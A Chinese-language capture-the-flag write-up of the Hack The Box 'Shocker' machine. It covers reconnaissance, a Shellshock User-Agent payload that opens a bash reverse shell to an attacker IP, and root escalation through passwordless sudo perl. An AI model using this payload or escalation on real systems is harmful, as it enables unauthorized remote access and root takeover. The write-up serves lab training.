3、HTB - Shocker Writeup
一、信息搜集
使用nmap扫描:nmap -sV -v 10.10.10.56

发现开了80和2222端口,80端口上是apache 2.4.18版本,2222是ssh端口;
上白阁文库搜索一下apache的漏洞,没有可以利用的;
浏览器访问一下80端口

只是一个静态页面,没有可利用的东西;
使用gobuster扫描一下网站目录:goburster dir --url http://10.10.10.56 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -f

有一个cgi-bin目录,再扫描一下这个目录下面有什么内容

只有一个user.sh脚本文件,看看内容

说是一个更新时间的测试脚本;
这里看到了cgi和脚本(再根据标题shocker),可以想到shellshock漏洞;
该漏洞是由于GNU Bash 4.3及之前版本在评估某些构造的环境变量时存在问题导致的,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行Shell命令。某些服务和应用允许未经身份验证的远程攻击者提供环境变量以利用此漏洞。此漏洞源于在调用Bash Shell之前可以用构造的值创建环境变量。这些变量可以包含代码,在Shell被调用后会被立即执行。
用burpsuite抓包,更改http报文中的UA字段,注入反弹shell脚本至本机:() { :;}; /bin/bash -i >& /dev/tcp/10.10.14.4/3333 0>&1
kali上开启监听端口:nc -lvnp 3333


成功反弹shell,查看一下用户whoami(或者用id查看)

只是普通用户shelly,不是root;想办法提权
查看一下当前用户可以用sudo执行哪些命令

看到有一个不用密码的perl可以用sudo执行;
用perl来提权:sudo /usr/bin/perl -e 'exec "/bin/bash";'(相当于用root来执行bashshell)

可以看到已经是root权限了;
接下来用用find来查找flag就可以了:find / -name user.txt
find / -name root.txt

提交flag,完工!

浙公网安备 33010602011771号